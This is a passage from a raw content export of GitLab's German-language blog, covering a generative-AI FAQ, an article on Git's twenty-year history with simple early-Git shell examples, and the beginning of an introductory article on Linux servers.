Workflow](https://about.gitlab.com/de-de/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development/) transformiert die Softwareentwicklung, indem es repetitive Aufgaben automatisiert und Entwickler(innen) ermöglicht, sich auf innovative Problemlösungen zu konzentrieren. \n\n[Teste GitLab Duo jetzt kostenlos!](https://about.gitlab.com/de-de/gitlab-duo/) \n\n## FAQs - Generative KI\n### Was ist der Unterschied zwischen AI und KI?\nEs gibt keinen Unterschied zwischen AI und KI. „AI” steht für „Artificial Intelligence”, „KI” steht für „Künstliche Intelligenz” und ist der deutsche Begriff für AI. Häufig werden beide Begriffe verwendet – die Bedeutung ist jedoch immer dieselbe. \n\n### Wo wird generative KI angewendet?\nGenerative KI findet Anwendung in der Content-Erstellung, bei Designprozessen, in der Medizin zur Analyse und Modellierung, in der Softwareentwicklung für automatisierte Codegenerierung und in der Unterhaltungsindustrie zur Erstellung von Filmen, Musik und Spielen.\n\n### Was unterscheidet generative KI von klassischer KI?\nKlassische KI verarbeitet und analysiert Daten, um Entscheidungen zu treffen oder Prozesse zu automatisieren. Generative KI hingegen erschafft eigenständig neue Inhalte, die sich an den erlernten Daten orientieren, aber originell und innovativ sind.\n\n### Welche Arten von generativer KI gibt es?\nZu den gängigen Modellen gehören GANs, Transformermodelle, Variational Autoencoders und Diffusionsmodelle. Jedes Modell ist auf spezifische Anwendungen wie die Generierung von Texten, Bildern oder Audio spezialisiert. \n\n### Wie sicher ist generative KI?\nDie Sicherheit generativer KI hängt stark von ihrem Einsatz ab. Während sie viele positive Anwendungen hat, können Risiken wie die Erstellung von Falschinformationen oder urheberrechtliche Konflikte auftreten, wenn sie nicht verantwortungsvoll genutzt wird.\n\n### Welche Herausforderungen gibt es bei generativer KI?\nHerausforderungen umfassen den hohen Rechenaufwand, die Qualität der Trainingsdaten, ethische Fragen wie Bias in Modellen und mögliche Missbrauchsrisiken, etwa durch die Generierung manipulativer Inhalte.\n\n### Wie wird generative KI bei GitLab eingesetzt?\nGitLab nutzt generative KI, um Entwicklungsprozesse zu optimieren. Sie wird unter anderem für automatisierte Code-Vorschläge, Dokumentationserstellung und Fehlerbehebung eingesetzt, wodurch Entwickler(innen) Zeit sparen und effizienter arbeiten können.",[679],{"slug":1738,"featured":6,"template":682},"what-is-generative-ai","content:de-de:blog:what-is-generative-ai.yml","What Is Generative Ai","de-de/blog/what-is-generative-ai.yml","de-de/blog/what-is-generative-ai",{"_path":1744,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1745,"content":1751,"config":1757,"_id":1759,"_type":16,"title":1760,"_source":17,"_file":1761,"_stem":1762,"_extension":20},"/de-de/blog/journey-through-gits-20-year-history",{"ogTitle":1746,"schema":1747,"ogImage":1748,"ogDescription":1749,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1750,"title":1746,"canonicalUrls":1750,"description":1749},"20 Jahre GitLab: Begib dich mit uns auf eine Reise","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"20 Jahre GitLab: Begib dich mit uns auf eine Reise\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2025-04-14\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097380/Blog/Hero%20Images/Blog/Hero%20Images/git-20-years-opt2_TWNsNk8KH43b3jP0KLD0U_1750097380123.png","Begib dich mit uns auf die Spuren des ersten Commits, die einzigartigen Aspekte der frühen Releases und die Verwirrung, die ein Update des Standardverhaltens von git-push(1) ausgelöst hat.","https://about.gitlab.com/blog/journey-through-gits-20-year-history",{"heroImage":1748,"body":1752,"authors":1753,"updatedDate":1553,"date":1755,"title":1746,"tags":1756,"description":1749,"category":1033},"Das Git-Projekt ist gerade 20 Jahre alt geworden. In diesen Jahren ist viel\npassiert – während das konzeptionelle Design von\n[GitLab](https://about.gitlab.com/de-de/) seit seiner Entstehung nicht\nwesentlich verändert wurde, hat sich doch die Art und Weise, wie\nBenutzer(innen) mit dem Tool interagieren, deutlich geändert. Wir bei GitLab\nsind stolz darauf, auf dieser wichtigen Software aufzubauen und Teil ihrer\nErfolgsgeschichte zu sein.\n\n\nBegleite uns auf einer Reise durch die Geschichte von Git und entdecke, wie sich das System im Laufe der Jahre entwickelt hat.\n\n\n## Der erste Commit\n\n\nDer erste Commit wurde am 7. April 2005 von [Linus Torvalds](https://about.gitlab.com/de-de/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds/), dem Schöpfer des Linux-Kernels, vorgenommen: `e83c5163316 (Initial revision\n\nof \"git\", the information manager from hell, 2005-04-07)`.\n\n\nWie wir sehen können, enthält dieser Commit nicht viele Dateien:\n\n\n```shell\n\n$ git ls-tree e83c5163316\n\n100644 blob a6bba79ba1f46a1bbf7773449c3bd2bb9bf48e8b\tMakefile\n\n100644 blob 27577f76849c09d3405397244eb3d8ae1d11b0f3\tREADME\n\n100644 blob 98a32a9ad39883c6d05a000a68511d4b1ee2b3c7\tcache.h\n\n100644 blob 74a0a234dd346fff51c773aa57d82fc4b83a8557\tcat-file.c\n\n100644 blob 840307af0cfaab31555795ce7175d5e9c9f981a0\tcommit-tree.c\n\n100644 blob 25dc13fe101b219f74007f3194b787dd99e863da\tinit-db.c\n\n100644 blob c924a6e0fc4c36bad6f23cb87ee59518c771f936\tread-cache.c\n\n100644 blob 1b47742d8cbc0d98903777758b7b519980e7499e\tread-tree.c\n\n100644 blob b8522886a15db861508fb6d03d4d88d6de912a4b\tshow-diff.c\n\n100644 blob 5085a5cb53ee52e1886ff6d46c609bdb2fc6d6cd\tupdate-cache.c\n\n100644 blob 921f981353229db0c56103a52609d35aff16f41b\twrite-tree.c\n\n```\n\n\nNeben der Build-Infrastruktur bietet der erste Commit sieben Top-Level-Befehle:\n\n\n- `init-db` zum Initialisieren eines neuen Git-Repositorys\n\n- `update-cache` zum Hinzufügen von Dateien zum Index\n\n- `write-tree`, um den Inhalt des Index heranzuziehen und daraus einen neuen Baum zu erstellen\n\n- `read-tree` zum Lesen eines Baum-Objekts\n\n- `commit-tree` zum Erstellen eines Commits aus einem Baum\n\n- `cat-file` zum Lesen eines spezifischen Objekts in eine temporäre Datei\n\n\nBeachte, dass der Befehl `git` zu der Zeit noch gar nicht existierte.\n\n\nStattdessen mussten diese Befehle direkt ausgeführt werden.\n\n\nErstellen wir zum Beispiel ein neues Repository:\n\n\n```shell\n\n$ mkdir repo\n\n$ cd repo\n\n$ init-db\n\ndefaulting to private storage area\n\n$ ls -a\n\n.  ..  .dircache\n\n```\n\n\nDas sieht ziemlich unbekannt aus: Es gibt kein `.git`-Verzeichnis, aber dafür gibt es das Verzeichnis `.dircache`. Und wo war der private Speicherbereich?\n\n\nDas frühe Design von Git unterschied zwischen einem „geteilten“ und einem „privaten“ Objektspeicherbereich. In diesem Objektspeicherbereich befanden sich alle Git-Objekte. Zum Beispiel deine Commits und Blobs.\n\n\nStandardmäßig erstellte `init-db` einen privaten Objektspeicherbereich, der nur für das verwaltete Verzeichnis verwendet wurde, in dem es erstellt wurde. Ein „geteilter“ Objektspeicherbereich hingegen teilte Objektinhalte über mehrere verwaltete Verzeichnisse, so dass dasselbe Objekt nicht zweimal gespeichert werden musste.\n\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\n\n### Einen Commit erstellen\n\n\nWir haben nun ein Repository, doch wie wurde damals ein Commit erstellt? Das war nicht ganz so einfach wie heute mit `git add . && git commit`. Stattdessen musste man wie folgt vorgehen:\n\n\n1. Man musste den Index aktualisieren, indem man `update-cache` für jede Datei aufrief, die man hinzufügen wollte.\n\n2. Dann schrieb man einen neuen Baum, indem man `write-tree` aufrief, wodurch alles herangezogen wurde, was zum Index hinzugefügt worden war.\n\n3. Man richtete Umgebungsvariablen ein, um Git mitzuteilen, wer man ist.\n\n4. Dann schrieb man ein Commit-Objekt, indem man `commit-tree` aufrief.\n\n\nErstellen wir einen Commit im Repository:\n\n\n```shell\n\n$ echo content-1 >file-a\n\n$ update-cache file-a\n\n$ echo content-2 >file-b\n\n$ update-cache file-b\n\n$ write-tree\n\n3f143dfb48f2d84936626e2e5402e1f10c2050fb\n\n$ export COMMITTER_NAME=\"Patrick Steinhardt\"\n\n$ export COMMITER_EMAIL=ps@pks.im\n\n$ echo \"commit message\" | commit-tree 3f143dfb48f2d84936626e2e5402e1f10c2050fb\n\nCommitting initial tree 3f143dfb48f2d84936626e2e5402e1f10c2050fb\n\n5f8e928066c03cebe5fd0a0cc1b93d058155b969\n\n```\n\n\nDas ist nicht gerade ergonomisch, aber es funktioniert! Werfen wir einen Blick auf den generierten Commit:\n\n\n```shell\n\n$ cat-file 5f8e928066c03cebe5fd0a0cc1b93d058155b969\n\ntemp_git_file_rlTXtE: commit\n\n$ cat temp_git_file_rlTXtE\n\ntree 3f143dfb48f2d84936626e2e5402e1f10c2050fb\n\nauthor Patrick Steinhardt \u003Cps@pks.im> Wed Mar 26 13:10:16 2025\n\ncommitter Patrick Steinhardt \u003Cps@pks.im> Wed Mar 26 13:10:16 2025\n\n\ncommit message\n\n```\n\n\nBeachte, dass `cat-file` den Inhalt nicht direkt gedruckt hat, sondern ihn zuerst in eine temporäre Datei geschrieben hat. Der Inhalt der Datei sieht jedoch genauso aus, wie ein moderner Commit aussehen würde.\n\n\n### Änderungen vornehmen\n\n\nWie können wir nun den Status der Dateien ermitteln? Vielleicht hast du es erraten: mit `show-diff`:\n\n\n```shell\n\n$ show-diff\n\nfile-a: ok\n\nfile-b: ok\n\n\n$ echo modified-content >file-a\n\n$ show-diff\n\n--- -\t2025-03-26 13:14:53.457611094 +0100\n\n+++ file-a\t2025-03-26 13:14:52.230085756 +0100\n\n@@ -1 +1 @@\n\n-content-1\n\n+modified-content\n\nfile-a:  46d8be14cdec97aac6a769fdbce4db340e888bf8\n\nfile-b: ok\n\n```\n\n\nLustigerweise konnte `show-diff` bereits diffs zwischen dem alten und neuen Zustand der geänderten Datei generieren! Git hat das jedoch erreicht, indem es einfach das Unix-Tool diff(1) ausgeführt hat.\n\n\nZusammenfassend lässt sich sagen, dass dies zwar alles noch recht spartanisch war, aber das Nötige bot, um den Verlauf nachzuverfolgen. Es gab aber noch viele Einschränkungen:\n\n\n- Es gab noch keine einfache Möglichkeit, zwischen Commits zu wechseln.\n\n- Es gab keine Möglichkeit, Protokolle anzuzeigen.\n\n- Es gab keine Branches, Tags und nicht einmal Referenzen. Von den Benutzer(inne)n wurde erwartet, dass sie die Objekt-IDs manuell verfolgen.- Es gab keine Möglichkeit, zwei Repositories miteinander zu synchronisieren. Stattdessen wurde von den Benutzer(inne)n erwartet, dass sie „rsync(1)“ verwenden, um die `.dircache`-Verzeichnisse zu synchronisieren.\n\n- Es gab keine Möglichkeit, Merges durchzuführen.\n\n\n## Git 0.99\n\n\nDie erste Testversion von Git war Version 0.99. Diese Release kam nur zwei Monate nach dem ersten Commit auf, enthielt aber bereits 1.076 Commits. Es waren fast 50 verschiedene Entwickler(innen) beteiligt. Der häufigste Commiter war zu diesem Zeitpunkt Linus selbst, dicht gefolgt von Junio Hamano, dem aktuellen Betreuer.\n\n\nViele Dinge hatten sich seit dem ersten Commit geändert:\n\n\n- Git begann, verschiedene Entwicklungs-Branches mithilfe von Referenzen zu verfolgen, wodurch in den meisten Fällen Objekt-IDs nicht mehr manuell nachverfolgt werden mussten.\n\n- Es gab ein neues Remote-Protokoll, das es zwei Repositories ermöglichte, Objekte miteinander auszutauschen.\n\n- Das Verzeichnis `.dircache` wurde in `.git` umbenannt.\n\n- Es wurde möglich, einzelne Dateien zusammenzuführen.\n\n\nDie wichtigste offensichtliche Änderung war jedoch die Einführung des Top-Level-Befehls `git` und seiner Unterbefehle. Interessanterweise wurden mit dieser Version auch die Befehle „Plumbing“ und „Porcelain“ eingeführt:\n\n\n- „Plumbing“-Tools sind Low-Level-Befehle, die auf das zugrunde liegende Git-Repository zugreifen.\n\n- „Porcelain“-Tools sind Shell-Skripte, die die Plumbing-Befehle einpacken, um eine schönere, hochwertige Benutzeroberfläche zu bieten.Diese Aufteilung existiert auch heute noch, wie in [`git(1)`](https://git-scm.com/docs/git#_high_level_commands_porcelain) dokumentiert ist. Da die meisten Porcelain-Tools jedoch von Shell-Skripten zu C umgeschrieben wurden, verschwimmt die Trennung zwischen den beiden Kategorien mittlerweile deutlich.\n\n\n## Linus übergibt die Leitung\n\n\nLinus hat Git nie gegründet, weil sein Herz für Versionskontrollsysteme schlägt, sondern weil er für die Entwicklung des Linux-Kernels eine brauchbare Alternative zu BitKeeper suchte. Daher hatte er nie vor, Git für immer zu leiten. Die Absicht war, es so lange zu leiten, bis er eine(n) vertrauenswürdige(n) Nachfolger(in) gefunden hatte.\n\n\nDieser Jemand war Junio Hamano. Junio stieg etwa eine Woche nach dem ersten Commit von Linus bei Git ein und hatte nach der Veröffentlichung von Git 0.99 bereits einige hundert Commits im Verlauf. Am 26. Juli 2005 machte [Linus daher Junio zum neuen Betreuer des Git-Projekts](https://lore.kernel.org/git/Pine.LNX.4.58.0507262004320.3227@g5.osdl.org/). Linus trug zwar weiter zu Git bei, doch seine Beteiligung wurde nach und nach immer weniger – nicht verwunderlich, da er als Leiter des Linux-Projektes ziemlich beschäftigt ist.\n\n\nJunio leitet das Git-Projekt auch heute noch.\n\n\n> Lies unser großes [Interview mit Linus Torvalds](https://about.gitlab.com/de-de/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds/) und erfahre noch mehr über die Geschichte von Git.\n\n\n## Git 1.0\n\n\nDie erste größere Version von Git wurde am 21. Dezember 2005 von Junio veröffentlicht. Interessanterweise gab es 34 Releases zwischen Version 0.99 und Version 1.0: 0.99.1 bis 0.99.7, 0.99.7a bis 0.99.7d, 0.99.8 bis 0.99.8g und 0.99.9 bis 0.99.9n.\n\n\nEiner der wichtigsten Meilensteine seit Version 0.99 war wahrscheinlich der Befehl `git-merge(1)`, der hinzugefügt wurde und mit dem man zwei Bäume zusammenführen kann. Dies ist eine enorme Veränderung zu vorher, wo man im Grunde die Zusammenführungen Datei für Datei skripten musste.\n\n\n### Remotes\n\n\nEine weitere wesentliche Änderung war die Einführung der Kurzschreibweise für Remote-Repositories. Während Git bereits wusste, wie man mit Remote-Repositories kommuniziert, mussten Benutzer(innen) jedes Mal die URL angeben, von der sie abrufen wollten, um Änderungen daran vorzunehmen. Dies war ziemlich unpraktisch für die Benutzer(innen), da sie im Normalfall immer wieder mit demselben Remote interagieren wollten.\n\n\nDu weißt vielleicht, wie Remotes jetzt funktionieren, aber der Vorgang war damals noch deutlich anders. Es gab keinen `git-remote(1)`-Befehl, mit dem man seine Remotes verwalten konnte. Remotes wurden nicht einmal in der Datei `.git/config` gespeichert. Als Remotes in Version 0.99.2 eingeführt wurden, *gab* es in Git nicht einmal Konfigurationsdateien.\n\n\nStattdessen musste man Remotes konfigurieren, indem man eine Datei in das Verzeichnis `.git/branches` schrieb, was dem heutigen Empfinden nach gegen jegliche Intuition geht. Aber der Mechanismus funktioniert auch heute noch:\n\n\n```shell\n\n$ git init repo --\n\nInitialized empty Git repository in /tmp/repo/.git/\n\n$ cd repo\n\n$ mkdir .git/branches\n\n$ echo https://gitlab.com/git-scm/git.git >.git/branches/origin\n\n$ git fetch origin refs/heads/master\n\n```\n\n\nAber das ist noch nicht alles! Das Verzeichnis wurde bald darauf mit der Git-Version 0.99.5 in „remotes“ umbenannt, also gibt es in einem modernen Git-Client insgesamt drei verschiedene Möglichkeiten, Remotes zu konfigurieren.\n\n\nDie meisten von euch haben wahrscheinlich weder `.git/branches` noch `.git/remotes` verwendet, denn beide Mechanismen gelten seit 2005 bzw. 2011 als veraltet. Darüber hinaus werden diese Verzeichnisse in Git 3.0 endgültig entfernt.\n\n\n## Git-Branding\n\n\nIm Jahr 2007 wurde das erste Git-Logo erstellt. Ob man das schon als Logo bezeichnen kann, ist fraglich, da es nur aus drei roten Minuszeichen über drei grünen Pluszeichen bestand. Dies sollte widerspiegeln, wie die Ausgabe von `git diff` aussah:\n\n\n![Drei rote Minuszeichen über drei grünen Pluszeichen, die die Ausgabe von `git diff` widerspiegeln](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097387927.png)\n\n\nEtwas später, im Jahr 2008, wurde die Website [git-scm.com](https://git-scm.com) veröffentlicht:\n\n\n![Startseite für git-scm.com im Jahr 2006](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097387930.png)\n\n\nIm Jahr 2012 wurde die Git-Webseite von Scott Chacon und Jason Long [überarbeitet](https://lore.kernel.org/git/CAP2yMaJy=1c3b4F72h6jL_454+0ydEQNXYiC6E-ZeQQgE0PcVA@mail.gmail.com/). Sie sieht ziemlich ähnlich aus wie heute:\n\n\n![Die Git-Website wurde 2012 überarbeitet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097387932.png)\n\n\nDieses neue Design der Website weist das neue rot-orangefarbene Logo von Jason Long auf, das auch derzeit verwendet wird:\n\n\n![Git-Logo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097387934.png)\n\n\n## Git 2.0\n\n\nGit begann schon in der Version 1.0, dem modernen Git sehr ähnlich zu sehen. Daher folgt nun der große historische Sprung zu Git 2.0. Diese Version wurde etwa 10 Jahre nach Git 1.0 veröffentlicht und war die erste Version, die absichtlich abwärtskompatible Änderungen in zentralen Workflows enthielt.\n\n\n### Standardverhalten von `git-push(1)`\n\n\nDie Änderung, die wohl die meiste Verwirrung in dieser Version verursachte, war das geänderte Standardverhalten von `git-push(1)`.\n\n\nEs gibt ein paar verschiedene Aktionen, die Git ausführen kann, wenn du in ein Remote-Repository pusht und nicht genau angibst, was genau du pushen möchtest:\n\n\n- Git kann verweigern, irgendetwas zu tun, und bittet dich um weitere Informationen darüber, was genau du pushen möchtest.\n\n- Git kann den aktuell ausgecheckten Branch pushen.\n\n- Git kann den aktuell ausgecheckten Branch pushen, aber nur, wenn es weiß, dass es ein Äquivalent auf der Remote-Seite gibt.\n\n- Git kann alle deine Branches pushen, die ein Äquivalent auf der Remote-Seite haben.\n\n\nDas Verhalten des modernen Git ist die sogenannte „einfache“ Strategie, also die dritte der oben angeführten Optionen. Vor Git 2.0 war das Standardverhalten jedoch die „Matching“-Strategie, also die letzte der genannten Optionen.\n\n\nDie „Matching“-Strategie war deutlich riskanter. Man musste vor dem Pushen immer sicherstellen, dass es in Ordnung war, alle lokalen Branches zu pushen, die ein Äquivalent auf der Remote-Seite haben. Andernfalls hätte man möglicherweise unbeabsichtigt Änderungen gepusht. Daher wurde beschlossen, die Strategie auf die „einfache“ Strategie zu ändern, um das Risiko zu verringern und Einsteiger(inne)n die ersten Schritte mit Git zu erleichtern.\n\n\n### `git-add(1)`\n\n\nEine weitere große Änderung war das Standardverhalten von `git-add(1)` im Hinblick auf nachverfolgte Dateien, die gelöscht wurden. Vor Git 2.0 hätte `git-add(1)` gelöschte Dateien nicht automatisch gestaged, sondern du hättest jede gelöschte Datei manuell mit `git-rm(1)` hinzufügen müssen, damit sie Teil des Commits ist. Mit Git 2.0 wurde dieses Verhalten geändert, sodass `git-add(1)` auch gelöschte Dateien zum Index hinzufügt.\n\n\n## Wir feiern die Git-Community\n\n\nIch werde dich nicht mit Details darüber langweilen, wie Git heute funktioniert – du nutzt es wahrscheinlich ohnehin täglich, und wenn nicht, gibt es viele tolle Tutorials, die dir beim Einstieg helfen. Stattdessen wollen wir die Git-Community hochleben lassen – sie ist es nämlich, dank der Git auch 20 Jahre später noch wunderbar funktioniert.\n\n\nIm Laufe der Zeit hat Git:\n\n\n- 56 721 Commits seit der Veröffentlichung von Git 2.49 erhalten.\n\n- Beiträge von mehr als 2 000 verschiedenen Personen erhalten.\n\n- 60 Hauptversionen veröffentlicht.Das Git-Projekt hat auch einen stetigen Zustrom neuer Mitwirkender durch die Teilnahme am [Google Summer of Code](https://summerofcode.withgoogle.com/) und [Outreachy](https://www.outreachy.org/) erfahren. Neue Mitwirkende wie diese werden dafür sorgen, dass das Git-Projekt auch langfristig weitergeführt wird.\n\n\nDaher möchte ich allen Mitwirkenden von Herzen danken. Es sind eure Beiträge, die Git erst möglich gemacht haben.\n\n\n## Ein Blick in die Zukunft\n\n\nEs steht außer Frage, dass Git den Wettlauf um das beste Versionskontrollsystem gewonnen hat. Es hat einen bedeutenden Marktanteil, und es ist nicht einfach, Open-Source-Projekte zu finden, die ein anderes Versionskontrollsystem als Git verwenden. Git hat also eindeutig vieles richtig gemacht.\n\n\nDennoch ist die Entwicklung nicht stillgestanden und auch in Zukunft werden viele Herausforderungen auf Git warten. Einerseits sind das technische Herausforderungen:\n\n- Modernisierung einer alternden Codebasis\n\n- Skalierung mit der ständig wachsenden Größe von Monorepos\n\n- Bessere Handhabung großer Binärdateien\n\n\nAndererseits tauchen Probleme sozialer Art auf:\n\n- Verbesserung der Benutzerfreundlichkeit von Git\n\n- Förderung der Git-Community, damit das Projekt langfristig gesund bleibt\n\n\nEs gibt immer noch viel zu tun und wir bei GitLab sind stolz darauf, Teil dieser Bemühungen zu sein. Gemeinsam können wir sicherstellen, dass Git auch in den nächsten 20 Jahren ein so fantastisches Versionskontrollsystem bleibt.\n\n\n## Erfahre mehr über Git\n\n\n- [Wir feiern das 20-jährige Git-Jubiläum mit dessen Erfinder Linus Torvalds](https://about.gitlab.com/de-de/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds/)\n\n- [Was gibt es Neues in Git 2.49.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-49-0/)\n\n- [Was gibt es Neues in Git 2.48.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-48-0/)\n\n- [Der Anfängerleitfaden zum „reftable“-Format von Git](https://about.gitlab.com/de-de/blog/a-beginners-guide-to-the-git-reftable-format/)\n",[1754],"Patrick Steinhardt","2025-04-14",[913,849],{"slug":1758,"featured":92,"template":682},"journey-through-gits-20-year-history","content:de-de:blog:journey-through-gits-20-year-history.yml","Journey Through Gits 20 Year History","de-de/blog/journey-through-gits-20-year-history.yml","de-de/blog/journey-through-gits-20-year-history",{"_path":1764,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1765,"content":1771,"config":1777,"_id":1779,"_type":16,"title":1780,"_source":17,"_file":1781,"_stem":1782,"_extension":20},"/de-de/blog/what-is-a-linux-server",{"ogTitle":1766,"schema":1767,"ogImage":1768,"ogDescription":1769,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1770,"title":1766,"canonicalUrls":1770,"description":1769},"Was ist ein Linux-Server? | Leitfaden für den Einstieg ","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Linux-Server: Warum sich die Installation lohnt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2025-04-14\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663065/Blog/Hero%20Images/serveur-linux.jpg","Wir zeigen dir, was ein Linus-Server ist und warum er sich lohnt. ✓ Definition ✓ Unterschiede ✓ Vorteile ✓ Distributionen ✓ Einrichtung ➤ Leitfaden lesen!","https://about.gitlab.com/blog/what-is-a-linux-server",{"title":1772,"description":1773,"authors":1774,"heroImage":1768,"date":1755,"body":1775,"category":847,"tags":1776},"Linux-Server: Warum sich die Installation lohnt","Linux-Server sind weltweit führend. Wir erklären dir, warum und du selbst von den Vorteilen profitieren kannst.",[701],"# Linux-Server: Warum sich die Installation lohnt\nServer bilden die Basis des Internets. Und Linux bildet weltweit die Basis für die meisten Server. Seit der Entwicklung von Linux hat sich das Betriebssystem gegenüber weitaus größeren Konkurrenten wie Microsoft nicht nur behaupten, sondern seine Vormachtstellung sogar weiter ausbauen können.\n\nIn diesem Artikel gehen wir auf alle Aspekte eines Linux-Servers ein. Wir wägen Vorteile eines Linux-Servers gegen eventuelle Nachteile ab und stellen dir alle kostenfreien und kommerziellen Varianten („Distributionen“) vor, die aktuell erhältlich sind. Wir zeigen dir, wie du einen Linux-Server verbindest und ein Backup erstellst.\n\nIn der Softwareentwicklung und generell bei DevOps-Projekten eignet sich GitLab besonders gut für die Nutzung auf einem Linux-Server. Dafür gibt es sehr gute Gründe, die wir dir ebenfalls gerne vorstellen möchten.\n\n## Was ist ein Linux-Server?\n\n**Ein Linux-Server ist ein Server, der Linux OS als Betriebssystem nutzt. Bei Linux handelt es sich um ein modulares, monolithisches OS („Operating System“), das in den frühen 1990ern von dem finnisch-amerikanischen Programmierer Linus Torvalds entwickelt wurde.**\n\n- **„Modular“** bezieht sich darauf, dass Linux sowohl um einige Komponenten reduziert, als auch um neue erweitert werden kann, ohne seine Funktionsfähigkeit zu verlieren.\n\n- Gleichzeitig aber ist Linux **„monolithisch“**, was bedeutet, dass der Kern (Kernel) des Betriebssystems nicht geteilt werden kann. Schlankere Ansätze wie beispielsweise Minix arbeiten hingegen mit einem Microkernel, der stets nur die Module nutzt, die wirklich benötigt werden.\n\nTorvalds konzipierte sein eigenes System von Anfang an als Open-Source-Projekt und legte den Quellcode offen. Das bedeutet: Grundsätzlich kannst du Linux in seiner grundlegenden Basisversion nutzen, ohne Lizenzgebühren abzuführen.\n\n## Was ist ein Windows-Server?\nEin Windows-Server ist ein Server, der Microsoft Windows als Betriebssystem nutzt. Dies ist kein Artikel über Microsoft-Server, aber ein kurzer Blick auf ihre Architektur ist hilfreich um zu verstehen, was Linux-Server ausmacht und worauf es sich bei der Auswahl des für dich passenden OS zu achten lohnt.\n\nAuch Microsoft Windows ist monolithisch und eingeschränkt modular. Allerdings nutzt Windows ein grafisches Benutzer-Interface („GUI“), während Linux zumindest in seiner Basisvariante ein Command-Line-Interface („CLI“) verwendet – also über Text und Code angesteuert wird.\n\nDas GUI macht Windows weitaus intuitiver in der Anwendung. GUIs aber verbrauchen sehr viel Arbeitsspeicher und machen das System somit weitaus langsamer und weniger effizient.\n\nDer zweite wichtige Unterschied besteht darin, dass Windows geschlossen und sein Quellcode somit nicht frei einsehbar ist. Daraus ergibt sich eine Vielzahl von Konsequenzen, die größtenteils erklären, weshalb es Microsoft bis heute nicht gelungen ist, das Quasi-Monopol von Linux im Serverbereich aufzubrechen.\n\n## Linux-Server: Vorteile und Entscheidungsgrundlagen\nWie erwähnt ist Linux weltweit führend bei Server-Betriebssystemen. Aktuellen Schätzungen zufolge hatte Linux hier einen Marktanteil von über 80 %. Trotzdem sind sich Expert(inn)en      einig darüber, dass Linux nicht in jedem Fall die beste Wahl ist.\n\n**Ob eine Linux-Architektur für dich geeignet ist, kannst du anhand von vier Kriterien entscheiden:**\n\n**- Stabilität**\n\n**- Sicherheit**\n\n**- Skalierbarkeit und Kundenorientierung**\n\n**- Kosten**\n\nIn den folgenden Abschnitten sehen wir uns diese Punkte genauer an, um dir zu zeigen, wie die Vorteile eines Linux-Servers in der Praxis aussehen.\n\n## Stabilität\nMonolithische Server sind sehr leistungsfähig. Aber sie sind nicht die stabilste Option.\n\nWeil stets der gesamte Kernel genutzt wird, können selbst kleine Fehler in einem isolierten Teil des Betriebssystems zum Absturz führen. Wer wurde nicht schon einmal von dem blauen Bildschirm in Windows „überrascht“! Gerade wenn auf einem Server wichtige Daten liegen oder wenn über ihn eine Website läuft, können sogar kurzzeitige Aussetzer zu hohen Gewinnausfällen oder Kosten führen.\n\nLinux umgeht dieses grundlegende Problem mit einer äußerst schlanken Architektur, die auch der Geschwindigkeit des OS zugutekommt. Diese Leichtigkeit beansprucht weniger Hardware-Ressourcen und stabilisiert das monolithische System auf eine sehr überzeugende Weise.\n\nDarüber hinaus kommt Linux sein offener Quellcode und die Einbettung in die Open-Source-Comunity zugute. Seit 30 Jahren tauschen sich Entwickler(innen) und Systemadministrator(inn)en täglich zu Problemen und Lösungen aus. Sogar akute, schwere Ausfälle können so oftmals schnell behoben werden.\n\nDie „Uptime“ von Linux-Servern, also die Zeit, die ein Server am Stück und ohne Ausfälle online ist, ist bemerkenswert. Bei einigen Linux-Distributionen sind Zeiten von über einem Jahr keine Seltenheit. \n\n## Sicherheit\nSicherheit ist für die meisten Unternehmen neben der Stabilität und Performance der wichtigste Betrachtungspunkt bei der Serverwahl.\n\nLinux wurde von Anfang an mit einigen Features versehen, die das Betriebssystem besonders gut vor eventuellen Angriffen oder ungewünschter Datennutzung schützen. Hier findet sich bereits ein erster Überschneidungspunkt mit der GitLab-Philosophie, bei der Planungseffizienz, Kundenorientierung und Sicherheit stets Hand in Hand gehen.\n\nDazu gehört das standardmäßige Absichern eines Downloads mit einer erzwungenen (Root-)Passwortabfrage oder auch das Abgleichen eines Downloads mit einer Liste als sicher geltender Webseiten.\n\nBesonders vorteilhaft ist, dass Updates auf Linux-Servern im laufenden Betrieb direkt implementiert werden können. Windows verlangt hierzu einen Neustart. Das wird einige Administrator(inn)en dazu verleiten, Updates zu verschieben und damit die Uptime gegenüber      der Sicherheit zu priorisieren. Solche Konflikte entstehen bei Linux nicht.\n\n## Kosten\nLinux ist als Open-Source-Produkt grundsätzlich kostenfrei nutzbar. Die Nutzung von Windows wird über eine 